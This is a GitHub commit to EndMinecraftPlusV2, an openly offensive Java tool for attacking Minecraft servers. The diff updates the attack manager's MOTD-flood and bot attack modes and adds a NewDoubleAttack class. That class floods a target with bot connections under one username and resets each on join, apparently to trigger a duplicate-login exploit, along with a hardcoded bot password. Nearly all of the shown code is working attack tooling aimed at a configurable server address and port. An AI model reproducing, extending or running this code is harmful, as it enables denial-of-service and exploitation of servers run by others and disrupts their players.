Bug修复 对部分代码进行兼容性重构

This commit is contained in:
SerendipityR 2022-08-20 10:55:37 +08:00 committed by GitHub
parent 4324305600
commit ac5c43b49a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 90 additions and 25 deletions

View File

@ -8,11 +8,11 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
public class EndMinecraftPlusV2 {
public static String ver = "1.2.0";
public static String ver = "1.2.1";
public static void main(String[] args) {
System.out.println("========================-Forked by SerendipityR-========================");
System.out.println(" EndMinecraftPlus原作者 - @iuli-moe");
System.out.println(" EndMinecraft原作者 - @iuli-moe");
System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2");
System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......");
System.out.println("========================================================================");

View File

@ -15,6 +15,7 @@ import java.util.Map;
import java.util.Random;
public class AttackManager {
public static Boolean isDoubleAttack = false;
public static void doAttack() {
LogUtil.emptyLog();
@ -57,37 +58,33 @@ public class AttackManager {
break;
case 2:
// MotdAttack
if (ProtocolLibs.highVersion) {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.IAttack motdAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttack.start();
} else {
IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttack.start();
}
IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttack.start();
break;
case 3:
// MotdAttackP
if (ProtocolLibs.highVersion) {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.IAttack motdAttackP = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttackP.start();
} else {
IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttackP.start();
}
IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttackP.start();
break;
case 4:
// DoubleAttack
Map<String, String> doubleModList = new HashMap<>();
isDoubleAttack = true;
if (ProtocolLibs.highVersion) {
LogUtil.doLog(0, "当前选定协议库版本不支持获取Forge Mods。", "DoubleAttack");
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
attack.start();
if (ProtocolLibs.adaptAfter754) {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewDoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.NewDoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
attack.start();
} else {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack attack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
attack.start();
}
} else {
if (!MCForge.isAfterVersion1_13()) {
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
@ -109,6 +106,10 @@ public class AttackManager {
}
public static String getRandomUser() {
if (isDoubleAttack) {
return ConfigUtil.DoubleExploitPlayer + "@12345678Aa!";
}
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
}
}

View File

@ -1,5 +1,6 @@
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils;
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
import com.github.steveice10.packetlib.Client;

View File

@ -0,0 +1,53 @@
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils;
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundLoginPacket;
import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
import com.github.steveice10.packetlib.Session;
import com.github.steveice10.packetlib.packet.Packet;
import java.net.Proxy;
public class NewDoubleAttack extends NewBotAttack {
private String username;
private Integer totalTimes = 0;
private Integer runTimes = 0;
public NewDoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
super(ip, port, time, maxconnect, joinsleep);
}
public void setUsername(String username) {
this.username = username;
}
public Session createClient(String ip, int port, String username, Proxy proxy) {
totalTimes++;
return super.createClient(ip, port, this.username, proxy);
}
protected void handlePacket(Session session, Packet recvPacket, String username) {
super.handlePacket(session, recvPacket, username);
if (recvPacket instanceof ServerJoinGamePacket) {
session.disconnect("Double Exploit - Connection Reset!");
if (ProtocolLibs.adaptAfter754) {
LogUtil.doLog(0, "Double Exploit - Connection Reset!", "DoubleAttack");
}
runTimes++;
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "");
}
}
protected void newHandlePacket(Session session, Packet recvPacket, String username) {
super.newHandlePacket(session, recvPacket, username);
if (recvPacket instanceof ClientboundLoginPacket) {
session.disconnect("Double Exploit - Connection Reset!");
LogUtil.doLog(0, "Double Exploit - Connection Reset!", "DoubleAttack");
runTimes++;
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "");
}
}
}

View File

@ -1,9 +1,9 @@
package cn.serendipityr.EndMinecraftPlusV2.VersionControl;
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundChatPacket;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
import java.io.File;
import java.util.*;
@ -16,10 +16,20 @@ public class ProtocolLibs {
public static boolean adaptAfter759 = false;
public static boolean adaptAfter760 = false;
public static void loadProtocolLib() {
if (ConfigUtil.AttackMethod.equals(2) || ConfigUtil.AttackMethod.equals(3)) {
return;
}
LogUtil.doLog(0, "==========================================================", "ProtocolLib");
choseProtocolVer(scanProtocolLibs(), scanSupportLibs());
int currentVersion = MCForge.getProtocolVersion();
int currentVersion;
if (highVersion) {
currentVersion = cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion();
} else {
currentVersion = MCForge.getProtocolVersion();
}
if (currentVersion > 498 || currentVersion == -1) {
adaptAfter578 = true;